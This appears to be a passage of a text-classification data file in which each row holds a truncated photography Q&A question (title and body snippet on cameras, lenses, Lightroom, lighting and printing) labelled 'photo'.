Body: I see beautiful photos of beaches or rivers/streams where the water looks like frosted glass... How is this effect achieved? Is it a longer exposure? ",['photo'] "Title: How do I do advanced editing of videos in Lightroom 4? Body: Lightroom 4 provides basic video editing features in the Library module using the Quick Develop panel. The adjustments it allows are limited to: Treatment (Color/Black & White) White Balance ... ",['photo'] "Title: What is the most effective way to remove a fence in the foreground? Body: I enjoy visiting a good aviary to capture birds, but often they are caged. My strategy is then to move as close as possible to the fence, resulting in a blurred fence foreground and the subject in ... ",['photo'] "Title: Is it possible to get precise framing with an unstabilized lens with a long focal length? Body: The longest lens I normally shoot with is a 70mm prime — a 35mm-e of 105mm on my APS-C DSLR. I'm trying out the DA★ 200mm f/2.8, though, and the thing people always say about a stabilized viewfinder ... ",['photo'] "Title: What's a good batch-mode EXIF data editor? Body: I'm currently scanning a lot of old slides. The scanner I use has this annoying habit of adding ""My beautiul picture"" in a description field in the EXIF format. I'd like to use an EXIF editor to get ... ",['photo'] "Title: How to shoot water spilled on the floor? Body: I am planning a scene with water spilled on a floor or desk. The floor and desks have designs which will be distracting for my shot. I am thinking of placing a paper sheet as a back drop. Which ... ",['photo'] "Title: Upgrade Nikon D80 [closed] Body: I had Nikon D80 for past 4 to 5 years. I am thinking to upgrade it, I have nikon D90 in mind. Can people share some experience and give me some advise on this. I was not happy with shutter lag with ... ",['photo'] "Title: Besides several Pentax DSLRs, what cameras are rated for operation below 0 °C (32 °F)? Body: Many Pentax DSLRs are rated for operation down to -10 °C (14 °F). This is a selling point of these cameras, and they are specifically tested to operate reliably at this temperature (with a note on ... ",['photo'] "Title: Long exposure on Canon 60D Body: I want to take some night shots of the sky and landscape showing up stars and cars on a distant road. I have the option to set the shutter speed to 30s, but I want to take a 2 min (or more) exposure, ... ",['photo'] "Title: How does the dynamic range of the human eye compare to that of digital cameras? Body: According to DxO tests, cameras have 10 to 12 stops of dynamic range. Is that correct? Noise can completely screw some lowers values (easily resulting in loss of some stops). Also Norman Koren says ... ",['photo'] "Title: Which camera/lenses should I buy? [duplicate] Body: Possible Duplicate: What should I look for when shopping for my first DSLR? I'm entry level on the photography stuff. Wanting to learn and get a camera. Main focus is taking pictures of my ... ",['photo'] "Title: Where are in camera ratings on the Canon 5D MkIII stored? Body: The Canon 5D MkIII introduced a new featured that lets you rate images by using a dedicated rear button. I am interested in finding out where in the EXIF data that this rating is stored. I wasn't ... ",['photo'] "Title: How can I take hi-speed photos of water rockets? Body: How can I take a picture of water rockets as they fly through the air? What settings would be best under normal daylight conditions? What is the slowest shutter speed I can use that the lighting will ... ",['photo'] "Title: Are super cheap flashes worth it? Body: Is YN-460 Yongnuo worth it? Found it for 34 EUR http://bit.ly/GE1Tdp Fist of all: is it so cheap I will regret I bought it and just withdraw using it? In my understanding and for I would use ... ",['photo'] "Title: What's the Reason 35mm Film is As Wide As It Is? Body: I'd like to know if there is a reason why Dickons and Edison chose exactly 35mm as the width of their films. ",['photo'] "Title: How does one create a Diptych or Triptych with angled/non straight lines between the photos? Body: How can I create a Diptych/Triptych or any collage for that matter with the individual photographs not in a regular rectangular shape. An example may be say 2 photos intersecting at the diagonal. ... ",['photo'] "Title: Why are objects far away inverted through a lens but not through the viewfinder? Body: When I look through a lens the image of objects far away are inverted but when looking the the viewfinder on my camera they are not. Why is this? I am having a hard time understanding why objects far ... ",['photo'] "Title: How can I avoid eye pain after indoor portrait shoots? Body: I have experienced this now for couple times and need to get something done about it. In parties with friends, I shoot friends and family indoors. Light is sometimes sufficient and sometimes not. I ... ",['photo'] "Title: How to decide which reversing ring is suitable for a lens? Body: Nikon's website doesn't seem to suggest any reversing rings that go with specific lenses (in my case a 50mm f/1.8G) . For macro shots how to decide which reversing ring goes with it? Yeah, Amazon ... ",['photo'] "Title: How do I clean the external forward-facing glass on my lens? Body: How do I clean the external forward-facing glass on my lens? Over the last year or so of use it has accumulated a little dust and a translucent smear mark. Nothing serious, but I'd like to remove ... ",['photo'] "Title: Can I use a Pantone Huey for multiple computers? Body: Can one device be used to calibrate several PCs? Can the PCs then be used at the same time? Do I need to have the device plugged in during normal use, or once the monitor is calibrated can I ... ",['photo'] "Title: Why is the Canon MP-E 65mm F/2.8 Macro Lens not called a zoom? Body: The Canon MP-E 65mm works differently than my other macro lenses. Compare: With a standard 35mm macro, I can frame first and then adjust focus which only changes framing very slightly with. With the ... ",['photo'] "Title: How do I eliminate lens flare in my pictures? Body: I have taken a few pictures that show these circles, and I'm getting very annoyed at this problem. Seems most common on sunny days. This particular picture is not my own, but it is a good example of ... ",['photo'] "Title: Canon 60D moire & aliasing issue on videos Body: Is it a common issue on canon 60d to have moire & aliasing issue when recording videos. Or is it that my sensor or lens has a defect? I'm using the kit lens EF-S 18-135mm IS. Does anyone here ... ",['photo'] "Title: Is 5D good as a second body beside a 5D mark II? Body: I own a 5D mark II and I do event photography. I have numbers of lenses in my collection and that's the reason I am looking for a second body, because changing lenses in event is a real pain. Do you ... ",['photo'] "Title: How do hierarchical keywords in Lightroom actually work? Body: I thought I understood how this worked, but I've just proven myself wrong. Imagine the following keyword hierarchy fragment: - Locations - Europe - scotland - inner hebrides - ... ",['photo'] "Title: How can I optimise the lifetime of a Nikon speedlight? Body: I have an SB-800. It's the newest Nikon strobe that will work with my F5. My F5 will probably outlast me (it probably has another 100,000 shutter actuations in it and I use less than 10 rolls a ... ",['photo'] "Title: How to best view test shots on camera LCD in bright, outdoor photo shoot Body: A couple weeks ago I did a basic outdoor photo shoot for a family. It was mid day, and the sun was out. I took test shots initially and when viewing the shots on my DSLR's LCD screen they appeared to ... ",['photo'] "Title: How to light macro subjects with an off-camera solution? Body: With very high magnification (2X - 5X) it has been troublesome to light the subjects since the lens shadow often gets into the photo. If it does not, then the subjects end up poorly lit or backlit. ... ",['photo'] "Title: What is a “Slanted S” in a curves layer? Body: I am trying to do a Photoshop tutorial, seems easy, but I can't understand one phrase: `First, I add a curves layer and create a slanted S. What does slanted S mean? Maybe I should ""write"" S in curves ... ",['photo'] "Title: Why do my prints look different from what I see on my computer monitor? Body: I haven't printed any of my photos yet but I decided to give it a try. I am thinking of getting a printer of my own but before that I wanted to see how they would look. So, I simply printed one at the ... ",['photo'] "Title: Is DxO Optics better than Lightroom, or vice versa? [closed] Body: My guess is that they have some features in common, they have some differences too, but actually they are almost the same quality level. Are there reason to say one is better than the other or is ... ",['photo'] "Title: How does photography for digital display only differ? Body: I only want to capture images with the intent of displaying them on a digital screen. I do not want to print the images, ever. Do any specific considerations need to be made upon capturing the image ... ",['photo'] "Title: How can I apply the same action to multiple images in Lightroom? Body: In Adobe Lightroom's Develop mode, is it possible to apply an action to multiple images? When I select multiple images (control/shift click), it highlights those images. I then perform an action (such ... ",['photo'] "Title: Lightroom keyboard shortcut to reset a picture's settings Body: In Adobe Lightroom 3, is there a keyboard shortcut to reset a picture's settings? I'm looking for the equivalent of right-click on picture - Settings - Reset, within Develop. ",['photo'] "Title: What legal restrictions are there on the use of logos in photos? Body: This question is similar to my other question however this has to do with Logos. If I am in public (on public property) and take a photo that has a recognizable company logo in it what rights do I ... ",['photo'] "Title: Can calibrating my laptop monitor remove the need to buy a better monitor? Body: I have a rather cheap HP laptop. I use it for retouching my photos. I have experienced a huge difference in final colors between this laptop and a Samsung LCD monitor, which I think is better. To be ... ",['photo'] "Title: What is colour correction, and how does it work? Body: As I've recently picked up photography as a hobby, I've been reading more and more about it online. A term I come across is ""Colour Correction."" But what does this mean for my photos? I've never seen ... ",['photo'] "Title: What is the “visual center” of an image? Body: I've heard that one of the tricks designers use for a more effective result is placing an object in the visual center. Where is the visual center in an image, why is it important, and how could it be ... ",['photo'] "Title: How Much Can Lens Magnification Be Improved Without Significantly Lowering Image Quality? Body: Currently I own only a 1X magnification macro lens (35mm F/2.8) but I am playing with a rented Canon MP-E 65mm lens which can go to 5X. The photography at that magnification is a world apart! The ... ",['photo'] "Title: Superimposing objects from two different photos taken by two different cameras Body: I have a bunch of photos from my friend's wedding that were shot with a D5 mark II, that he wants me to add my wife (who couldn't be at the wedding) into a few of them. I found the PERFECT picture ... ",['photo'] "Title: How to chose a compact or mirrorless camera? [on hold] Body: The number of different compact cameras is just crazy. Each brand has some dozens of camera. I personaly have some features in mind: i want Prosumer satisfying image quality, that is: colors ... ",['photo'] "Title: What is the difference between the Instax Mini 25 and the Cheki series? Body: I'm seriously getting confused. I'm Googling around for an Instax Mini 25 unit, but I keep getting conflicting results. some of the results hint on a distinct difference between the Mini 25 and a ... ",['photo'] "Title: What are the technical camera specs for the HTC Wildfire S? Body: I am trying to do some CGI manipulations on pictures I've taken. In order to fake reality with some 3D object inserted in the picture, I need some information to configure my virtual camera so it can ... ",['photo'] "Title: Is there anything to watch out for when upgrading Lightroom 3 to 4? Body: If I decided to take the plunge and upgrade from LR3 to LR4, does LR4 manage the migration of my catalogs for me automatically, when opening it for first time? Are there any things that break or that ... ",['photo'] "Title: What lens do I need to do product photography with my Olympus E500? Body: I have an Olympus E500 camera passed onto my by my father in law and since fallen in love with photography. I now have a client who is requesting a product shoot of some of his products and I would ... ",['photo'] "Title: What lenses should I take with my Nikon D5100 for a trip through China and Nepal? Body: I'll be travelling through China/Nepal this coming September and have been trying to figure out which lenses would suit me best during my trip. I'll be visiting many temples/ monasteries and many ... ",['photo'] "Title: DSLR for shooting video, what's best? [closed] Body: I currently have a Nikon d90 that I consider is a really good camera for photo shooting. I like to start with video and I know the D90 is able to shoot 720p, but the result is not that good and it has ... ",['photo'] "Title: Online Printing API? Body: tl;dr: Is there a way to have SmugMug-like + printing service integration hosted on your own website? (The API to the printing service is the piece I am missing) I am looking for an automated ... ",['photo'] "Title: How to use a channel as mask in Photoshop? Body: Is there a way in Photoshop to use a channel (for example red or Lab luminosity) as a mask for a layer? ",['photo'] "Title: How do I calibrate two different monitors to the same whitepoint? Body: A few days ago I invested in an X-Rite i1 Display 2 colourometer, as per this answer, although I'm having great difficulty getting a Dell U2412M and a Dell E1911 monitor to the same whitepoint. I've ... ",['photo'] "Title: Do Nikon D-100 lenses fit a D-90? Body: Do the lenses that fit a Nikon D-100 also fit a Nikon D-90 camera body? ",['photo'] "Title: Nikon vs Canon vs [duplicate] Body: Possible Duplicate: What are the most notably differences between Canon and Nikon lenses? Is there any significant difference between Nikon and Canon? My original thought behind this ... ",['photo'] "Title: What makes this Eggleston picture great? Body: What makes this Eggleston picture great? I'm being a little provocative here, I actually like the picture, but... It is just a rusty toy; you can find one like it almost everywhere. Ok, the ... ",['photo'] "Title: How to boost tones preserving highlights? Body: I took this picture with my not so expensive camera phone. I made some post processing most of all to get vintage colors. The final result is this one The sky near the sea is blown out. This is ... ",['photo'] "Title: Which Canon T2i bundle is better to get? Body: I'm looking to upgrade from my Canon 450d to the T2i. There are two bundles: one that comes with body and two Canon lenses, 18-55mm and 55-250mm, for $799 and, on Amazon, there's the Canon with EF-S ... ",['photo'] "Title: Which filters or effects etc. are being used in these photos? Body: The photos in question are the ones of the ""culturemakers"" on the the kony2012 campaign homepage - e.g. Mark Zuckerburg, Oprah etc. I'm especially interested in how they: Make darker colors more ... ",['photo'] "Title: What happened to pocket remotes for non-SLR cameras? Body: Why not offer a remote on-less-than-SLR cameras, video or still? 10 years ago, we traveled Europe with my wife handling her pocket 35mm film Minolta Freedom zoom 125, about the size of a pack of ... ",['photo'] "Title: Colored powder in a lens: will it need a cleaning? Body: I was taking photos of people playing Holi. Some of the powdered colour landed on the lens of my Canon Powershot S95, and in the groove of the flash housing. By lens, I mean the cylindrical part that ... ",['photo'] "Title: Do any Nikon FX cameras allow square-format shooting with DX lenses? Body: When one uses a Nikon DX (APS-C) camera on an FX camera body, the camera automatically enters a ""DX crop mode"", using only the center portion of the sensor to match the DX format, as explained on ... ",['photo'] "Title: Are the dimensions of the top panel LCD screen on a Canon 50D same as the 7D or 5DM2? Body: I'm trying to buy a LCD top panel screen protector for my 50D and I could only find protectors for the top LCD screen for the 5D Mark 2 and 7D. So will they fit the LCD top LCD on my 50D? Is it the ... ",['photo'] "Title: What's the best way to shoot infra red? Body: I am new to the photography world and own a Canon 600D, I quite like some of the infra-red shots I've looked at. Is there a special lens required or does the camera need to be modified by other means ... ",['photo'] "Title: What can be done using a 18-55mm lens? Body: I have a Canon EOS 1000D with 18-55mm kit lens (entry level, as many say). Whenever I go out for a shoot, I always end up feeling handicapped because of the limited zoom range. Most of my friends ... ",['photo'] "Title: Lightroom vs Photoshop vs etc [duplicate] Body: Possible Duplicate: Where can I get Lightroom Presets? I am looking at buying Lightroom mostly for organizing my stock. I current have photoshop and an open software called paint.net for ... ",['photo'] "Title: Which mount adaptor do I need to mount an old Tokina FL/FD lens on a Canon 30D? Body: I have an old Tokina Fully Automatic Lens 400mm F-6.3 lens. Says on a small label: ""To fit C/FD Canon FL and FD lens series"" I have a Canon 30D. Which is the right mount adaptor to use? Best if ... ",['photo'] "Title: Can I save money on lenses by buying a Nikon camera with an in-body autofocus motor? Body: I have dilemma what camera is better Nikon D5100 or D90. The first one is newer but the second one has lens servo (""screwdriver"") motor. My question is: can I save some money overall with the more ... ",['photo'] "Title: Canon EF-S 15-85mm IS USM or Canon EF-S 18-135mm IS to replace a broken kit lens? Body: I'm looking to upgrade the 18-55 kit lens I got with my 450D. I finally settled choosing between these two. Which one would you get and why? I do mostly amateur photography on my spare time, trips ... ",['photo'] "Title: Would a Panasonic G3 be able to handle low-light conditions on a South African safari? Body: I'm going on safari in South Africa and wondering if a micro 4/3 camera will be able to handle the low light conditions (since safaris are at dawn and dusk). Specifically, I'm looking at the ... ",['photo'] "Title: Why does the left windmill have too many blades? Body: Ok, check this shot out: These are the 3 windmills in Marshfield Massachusetts. It was shot from Provincetown, MA about 35 miles away. (I wasn't out to shoot them, I was shooting Right Whales... I ... ",['photo'] "Title: Is there a way to use a Canon 60d as general SD card reader? Body: My computer doesn't have an sd card reader, but one of my cameras records more information than just RAW or JPG. That camera doesn't have a cable for it readily available. I was wondering if there is ... ",['photo'] "Title: Is the Canon 600D Al servo autofocus up to the task of following moving subjects? Body: Has anyone tried shooting fast moving subjects (birds, cars, running animals) with Canon EOS 600D using Al servo autofocus? I am thinking of getting this DSLR but the internet reviews are a bit ... ",['photo'] "Title: How to photograph glass without reflections and shadows? Body: I'm working on Image processing issue and I need to take picture from automotive glass.the camera is mounted at top and the glass lays down at the bottom. I put a black textile at the back of glass . ... ",['photo'] "Title: Is having a lens with vignetting a real world negative for portrait lenses? Body: After reading this answer for another post: I don't mind the vignetting as it actually improves the look of portraits however if you're doing astrophotography what's the point in a lens that's ... ",['photo'] "Title: What's the max size a photo can be enlarged while preserving the same image quality? [duplicate] Body: Possible Duplicate: Is it possible to increase the pixel density of an image? Is there a general formula for image size vs. print size? Can one of the many photo editors max a photo ... ",['photo'] "Title: How do I make Aperture 3 export the master Body: I've tried many things to get Aperture to export some sort of usable file when I do a ""export-> Master"" The command seems to work, it creates a file of the proper name. The output is about 4K in ... ",['photo'] "Title: Double exposures straight to a memory card? Body: I'm looking to work out why some photos I have taken with my phone have strange images of a girl in them, when she clearly shouldnt be there. Can a photo taken with a normal camera phone double expose ... ",['photo'] "Title: Is it worth buying an expensive CPL filter over an e-bay cheap one? Body: I have already got a circular polarizer filter (CPL) filter for my canon EF-S 18-55mm and it is working fine, although the quality goes down a bit compared to when I don't have the filter on, but its ... ",['photo'] "Title: How do I remove the extra image in this photo? Body: I have the same image vertical above horizontal in this photograph. The photo was captured with an old film camera, and scanned in using my scanner. How do I remove this extra image? Could I do this ... ",['photo'] "Title: What steps to take to match screen to print? Body: I don't print a TON of my photos, but when I do it's because it's really important to me. I've got a MacBook Pro attached to a Samsung 2300 display and an HP Photosmart 7760 printer. I typically use ... ",['photo'] "Title: Why does my photo look great in Lightroom but show sharpening halos on my web site? Body: I haven't over sharpened my photo — it looks great in Lightroom and Photoshop CS5, but when I upload it to my webpage, it has horrible ghosts/halos around much of the subjects. I have tried it with ... ",['photo'] "Title: Ways in order to achieve warm lighting style? Body: The photo will be taken from the ceiling above the bed and catch the entire bed in the frame. I am trying to simulate a feeling of warmth, safety, and comfort in his bed using the light. I have red ... ",['photo'] "Title: How do I get crisp indoor or low light images from my point and shoot? Body: I have a digital camera Canon PowerShot. I notice when I try to take any pictures other than a non-zoom, outdoor picture in good lighting the picture comes out blurry and grainy. I have tried a ... ",['photo'] "Title: Lightroom Multi-Catalog Syncing/Management [duplicate] Body: Possible Duplicate: What is the best way to synchronize Adobe Lightroom databases between two computers? I'm looking for an application to manage multiple Lightroom catalogs for me - I ... ",['photo'] "Title: How can I improve shots in the dark, when tripod or flash are not available? Body: About once a year, at my school we have this event called ""Humans versus Zombies"", whereby there are these ""missons"" that occur in the dark at night. I've been trying to capture what goes on there: ... ",['photo'] "Title: Will switching from a Nikon D60 to a Canon EOS 60D be better for night photography, city photography, and portraits? Body: I am currently using Nikon D60 and have been itching to upgrade for some time. There are a lot of things about Canon EOS 60D that seem very appealing to me. The higher resolution, the sensor that ... ",['photo'] "Title: Improving the edges of silhouettes Body: I have a photograph containing a silhouette of bird that's slightly out of focus. The edge is well defined, but feathery. Sharpening gives a reasonable improvement, but I curious whether the wizardry ... ",['photo'] "Title: What are the rules for editing a photo? Body: I just got a comment that I must edit my photo. God know how many hours I have spent editing my photos. Thus I was a little bit surprised. It was explained that there are certain rules when doing ... ",['photo'] "Title: One expensive (L) lens or a variety of cheaper lenses, or a better body? Body: I'm a photography enthusiast, my current equipment are the following: Canon EOS 1000D EF-S 18-55mm (the kit lens) Sigma 55-200mm Canon EF 50mm f/1.8 (the one i enjoy the most) Now so you can ... ",['photo'] "Title: What does “viewfinder magnification” mean? Body: Viewfinders (both optical and electronic) typically come with two stats: magnification and coverage. The latter measuring how much of the actual exposed area (film or sensor) one sees. But what is ... ",['photo'] "Title: Wouldn't it be better to calibrate the RGB settings of my monitor instead of using ICC profiles? Body: I've got three monitors, a Dell Ultrasharp U2412M and two Dell E1911 19"" monitors, although the E1911 monitors look pretty terrible for colour so I'm desperately needing to calibrate them. I've done ... ",['photo'] "Title: How to avoid tired eyes in a portrait? Body: I noticed some portraits I took had heavy shadows under eyes: It turned out the model had experienced some sleep deprivation, though the eyes didn't look that bad in real life. I suspect lighting ... ",['photo'] "Title: How can multiple exposure be achieved with a digital camera? Body: When using a film camera, it’s possible to create photographs that are the result of multiple exposures, by not winding the film on before taking the next shot. Is there a way of achieving the same ... ",['photo'] "Title: Should I consider any other hood for 1.8G 50mm rather than the default one? Body: The supplied lens hood with Nikon's 50mm f/1.8 G is HB-47 Bayonet Lens Hood, as mentioned on the tech specs for that lens. Is it the best for this lens or should I look for a better one? If yes, then ... ",['photo'] "Title: Where can I have photos printed in bulk at wholesale prices? Body: I would like to sell prints of my photos, does anyone have know of any suppliers that print photos off in bulk? Ideally based in the UK but I would also consider printers abroad. I don't want to use ... ",['photo'] "Title: Are film lenses effectively longer focal lengths on cropped-sensor DSLRs? [duplicate] Body: Possible Duplicate: Does my crop sensor camera actually turn my lenses into a longer focal length? My wife has a pair of Tokina lens (28-80mm and 100-300mm, I believe, without the lens here ... ",['photo'] "Title: How can I determine if I can use a photo commercially? Body: Hold on for a second, I know that this is not the perfect place to ask but i dont have any other choice. I was searching for a picture for my project, an iphone app which i'm planning to sell upon ... ",['photo'] "Title: Sigma 10-20mm f4-5.6 EX DC HSM or Sigma 10-20mm f3.5 EX DC HSM Lens? Body: I want a wide angle lens for my Nikon D90 and after reading numerous reviews I think I will go for a Sigma. The only dilemma, which I haven't found an answer for is, which one to go for? The Sigma ... ",['photo'] "Title: How can I improve the sharpness of my pictures? [duplicate] Body: Possible Duplicate: How I could take crisp sharp shots without expensive lens? I have software to correct sharpness, the one I use the most in Linux is darktable. But post-processing never ... ",['photo'] "Title: Is it safe to carry around a tripod with a DSLR attached to the head? Body: Let's assume I'm coordinated enough not to hit anyone or anything with the tripod. I'm concerned about the DSLR/plate/head interface. Assuming everything is properly attached and tightened, can I ... ",['photo'] "Title: Does maximum aperture change with focus distance with the Canon 60mm f/2.8 macro lens? Body: This site says The Canon EF-S 60mm f/2.8 Macro USM Lens loses 1/2 stop at 1:5, 1 stop at 1:3, 1.5 stops at 1:1.5 and 2 stops at 1:1 (lifesize). Can anyone confirm that at 1:5 magnification, ... ",['photo'] "Title: How to photograph chocolate? Body: I have often marveled (and gotten hungry) at the beautiful pictures in the blog Smitten Kitchen. It documents mostly baking recipe, and chocolate spreads, ganaches, and pure molten chocolate are often ... ",['photo'] "Title: Is it possible to embed a clickable url in an image? [closed] Body: Is it in any way possible to add URLs or hyperlinks to photos? It's for adding to a web page. I know there is an image map option. But is it possible using any tool to directly add it to the image? ",['photo'] "Title: Why does my Canon 550D make a small sound while focusing? Body: Ok the ""noise"" I am talking about here is not noise in photos, it's actual small noise/sound coming from camera. I have been using my camera for around 6 months, but never noticed this before. May be ... ",['photo'] "Title: How to build a digital reprography system on a budget? Body: I am a cartoon artists and illustrator and my A3 flatbed scanner just broke. A good A3 (11""x17"") scanner costs somewhere between $1500-2000 usd/eur, so I am asking myself, if I could not put ... ",['photo'] "Title: Why does my Canon DSLR stop recording video automatically? Body: I have read a few posts related to video recording using a DSLR so I decided to try my 60D for the first time. I've had the camera for about a year and a half but never tried recording a video. ... ",['photo'] "Title: What is EV, when used as an absoute measurement? Body: I know there is already a question about EV, but it doens't quite answer my question. I understand EV as a relative measurement, 1 EV being one stop (doubling or halving the amount of light), but what ... ",['photo'] "Title: Is there something similar to Adobe Lightroom for Linux? Body: I know about digiKam and Photivo, both of which are excellent software for post-processing RAW photographies and performing minor edits. However, these two programs aren't that good at organising ... ",['photo'] "Title: If I have an 85mm lens for portraits, is a 50mm useful as well? Body: I recently got my Canon EF 85mm f1.8, after lot of thought over if I should buy Canon EF 85mm f1.8 or Canon EF 50mm f1.4, I decided on 85mm so that I can shoot portraits of people even from a ... ",['photo'] "Title: What are compressed image formats with high quality/size ratio? Body: I'm looking for an image format, unpopular as it may be, that has good quality and also good compression. After I'm done post-processing my RAWs I want to export them in a way that's shareable and ... ",['photo'] "Title: When is it more suitable to have a full sensor-camera instead of a crop sensor-one? Body: I've been reading about this a bit, and I get the sense that full sensor-cameras are best suited for shooting landscapes, whilst crop sensor-cameras are preferable for portraits and close-ups. Please ... ",['photo'] "Title: Is the Nikon D4's advertised frame rate for 14-bit capture? Body: Question about the the advertised 10 frames per second speed for the Nikon D4. Is this frame rate for 14-bit or 12-bit. If it is 10 frames/sec at 12-bit, what is frame rate at 14-bit. Reason I ask is ... ",['photo'] "Title: Canon 550D - Is it a good camera for starters? Body: I´ve been reading a bit about this camera, and some opinions go that it is too expensive a camera for a simple beginner, while others say it is an excellent entry-level one with enough features to go ... ",['photo'] "Title: Why are my Lightroom 3 developments displaying in some applications but not others? Body: I'm shooting timelapse photos in JPEG and Ive imported them using Lightroom 3. They were initially upside down so I flipped them around added some exposure and saturation adjustments. I selected all ... ",['photo'] "Title: Have options for a good quality starter kit for a Canon APS-C changed since 2010? Body: I am buying Canon EOS 60D. I am looking to put together a starter kit and I saw this question talking about two good lenses to get for a not-so-expensive Canon camera. However, that question is from ... ",['photo'] "Title: My pictures are never printed. Is there any point in buying a better monitor? Body: My monitor is pretty cheap and its colours are horribly dependent on the viewing angle, the moon and whatnot. I could edit my pictures on my old CRT, but its contrast and sharpness are quite bad. On ... ",['photo'] "Title: Would I be better off with an older camera and a two-zoom kit or a newer one with a single IS kit lens? Body: For around the same price, I can get: Canon EOS 500D + EF18-55 + EF75-300 or Canon EOS 550D + EF-S 18-55 IS Which of these camera combinations are better? The older 500D with two lenses or a newer ... ",['photo'] "Title: Converting RAW images to lossless jpeg using GIMP? Body: I have a Raw image which I want to get printed. I need to upload this to a website which expects to be in jpeg format. I use GIMP for photo editing and used UFRaw to view RAW images. GIMP cannot ... ",['photo'] "Title: Can I shoot sports photography in the studio with continuous lights? Body: I want to try to shoot some sports action, for example shattering bricks and wood. My lighting equipment is not so advanced and needs 0.8 sec to recharge for the next flash, so I can't use high fps. ... ",['photo'] "Title: Is there a 3rd-party Canon intervalometer which will drive both a 7D and a Rebel T3i? Body: I'm looking to buy an intervalometer for my kit. I have a canon 7D and a T3i, which use incompatible connectors (why, Canon, why?) which means if I buy the Canon units, I need to buy one for each body ... ",['photo'] "Title: Screw-in or square filters in the field? Body: I currently carry a circular polarizer and a screw-in 4X ND with me in the field. I've decided it's time to upgrade my filters, because there are too many times when I really need an 8X ND (or more) ... ",['photo'] "Title: I have scanned a film negative - how do I adjust the color using software? Body: I have scanned some film negatives (35mm) and have run into the classic orange color problem. Using the Gimp, simply inverting the color of the image (Colors->Invert) leads to a very discolored image ... ",['photo'] "Title: Problem sharing images from Photoshop Elements 10 to Flickr/Smugmug Body: I'm trialling PSE10 as a cheap way of getting good raw processing. Whenever I crop/straighten an image via the 'raw' processing dialog and then upload the result to an online service (tried both ... ",['photo'] "Title: Why am I getting such high noise when using ISO 320/640? Body: I'm taking photos at night with a GH1 at ISO 640 and getting a ton of noise in the dark areas. I've seen a bunch of other peoples night time photos and they never have this much noise. I tried using ... ",['photo'] "Title: Is it normal for a Gary Fong collapsible LightSphere to fold a Nikon SB600? Body: My Gary Fong collapsible on my Flash Nikon SB600 cause my flash to fold sideways even if it 90 deg rotated. This is happening when I move just a bit. The lock button don't lock the flash tilt. Do ... ",['photo'] "Title: What do I need to do tilt-shift with a micro four-thirds camera? Body: I'm a newbie when it comes to photography. I currently own a Panasonic Lumix GF1 and would like to learn the tilt-shift technique. How does it work, what tools do I need, what software do I need as ... ",['photo'] "Title: What are the major differences that differentiates LCD with an LED display? Body: I have quite read about the LCD's and LED's and I have jumped into conclusion that LED is far better than LCD. Am I wrong in my assumption? If I am wrong then please let me know the benefits of LCD ... ",['photo'] "Title: Has anyone used the LensCoat for the Canon EF 100-400mm L zoom lens? Body: I've been getting more into bird photography lately, and sometimes that involves tromping through some deep grasses, brambles, thick woods, etc. I'd like to protect my lens, and keep its resale value ... ",['photo'] "Title: Is it better to take a high resolution photo and then resize it than to take it at lower resolution? [duplicate] Body: Possible Duplicate: Does it give higher quality to shoot in low-res mode in-camera, or to downsize high-res photos later? Compare these two scenarios (using the same camera): 1) You take a ... ",['photo'] "Title: When and how to use a push-on flash diffuser? Body: I've bought a cheap flash on eBay and got this fancy flash diffuser as a free gift: So, what are the effects of a light diffuser like this one? What difference does it make to the resulting photo? ... ",['photo'] "Title: What Tone mapping settings to go for in HDR Post-processing? Body: I have just recently started discovering the HDR side of photography and after seeing some really beautiful pictures, I decided to get the tools and perform it myself. While trying to post-process my ... ",['photo'] "Title: What settings should I use to photograph aurora borealis with a wide angle f/4 lens? Body: I've tried my first night photography of the stars last week. Most articles I've seen were recommending a fast lens, fully opened, @ ISO 800 and about 20 - 30s exposure, etc. Unfortunately, my only ... ",['photo'] "Title: How do I keep the view finder light meter info on, on a Canon EOS1100D? Body: How do I keep the light meter display on in the view finder while using manual mode? I find that the display only stays on for a short while which is annoying when trying to set aperture and shutter ... ",['photo'] "Title: What are the best techniques for photographing butterflies in a glasshouse? Body: I will be going to a glasshouse where there will be butterflies as part of a special exhibition / attraction. What are the best techniques for taking good shots, assuming that using a tripod might ... ",['photo'] "Title: How do non-MFT lenses work on a Panasonic GF3? Body: I'm thinking of buying a GF3. But the lenses are pricy, so I have to pick my kit wisely. I saw that there are adapters for it, but I'm new to lenses. Are there any problems with attaching non-MFT ... ",['photo'] "Title: What cheap accessories would you suggest to improve one's photography? [closed] Body: For instance, I'm talking about helpful little tips like buying a solar filter which also then serves as a cheap lens protector. Anyone have any such useful tips? ",['photo'] "Title: Should I get the prime or zoom kit lens with the Panasonic GF3? Body: I'm new to lenses, because currently I have the fixed lens Olympus XZ-1. I'm thinking of an upgrade, and I find the Panasonic GF3 very good. It has the option of two kit lenses: A pancake lens at 14mm ... ",['photo'] "Title: How do I deal with these errors when using the Hugin command line tools? Body: I am trying to stitch images through command line of Hugin as outlined here: http://wiki.panotools.org/Panorama_scripting_in_a_nutshell#Simple_command-line_stitching I did the first step to create ... ",['photo'] "Title: Can digital photo frames display slideshows from large photo collections on a USB harddrive? Body: Looking for a digital photo frame that can show photos from external USB storage doing the following - anyone know of one, please? • Show photos directly from USB not giving you a file manager to ... ",['photo'] "Title: 'Bokeh' effect with autofocus switched off in manual mode (Nikon-D90) Body: I want to understand how focusing works in Manual mode in my D90. I switched off the autofocus buttons in the Kit lens and the camera body. I have changed to the manual mode. Now, when I try to ... ",['photo'] "Title: Where can I find advice on using an advanced AF system for wildlife and bird photography? Body: I recently purchased a Canon 7D, as my previous 450D had become a severely limiting factor in my endeavors to wildlife and bird photography (particularly bird photography, which I LOVE, but for which ... ",['photo'] "Title: When should one turn off their DSLR? Body: I spent a good hour today moseying after some azure-winged magpies. We had a nice waltz across a parkland, they rarely letting me get close enough to even contemplate a shot. As such, I spent long ... ",['photo'] "Title: Which battery grip should I get for my Canon 60D and why? Body: I'd like to buy a Canon 60D battery grip not only for the extra battery power but also, and mainly because of the added size and the extra buttons. (I have huge hands) My question is; How is this ... ",['photo'] "Title: How can I get extended bracketing on a Canon 40D? Body: I shoot HDR with a Canon 40D. I often use more than 3 RAW exposures, which is a hassle on the 40D since the auto bracketing only supports 3 exposures. I'm aware of the CHDK project, but it doesn't ... ",['photo'] "Title: How can I overlay two images exactly by scaling one of them in gimp? Body: I have two different pictures of the same object, one of which is taken from roughy the same angle but has a different scale and rotation. I want both images to overlap so that the upper one matches ... ",['photo'] "Title: How does the Tamron 55-200mm LD macro lens compare to the Canon 55-250mm IS? Body: I have a Canon 1100d, the standard 18-55mm lens kit, and the 50mm f1.8 lens. I want to buy a zoom lens as I would like to be able to get closer to far away subjects. I have been looking at both the ... ",['photo'] "Title: Will I receive the upgrade 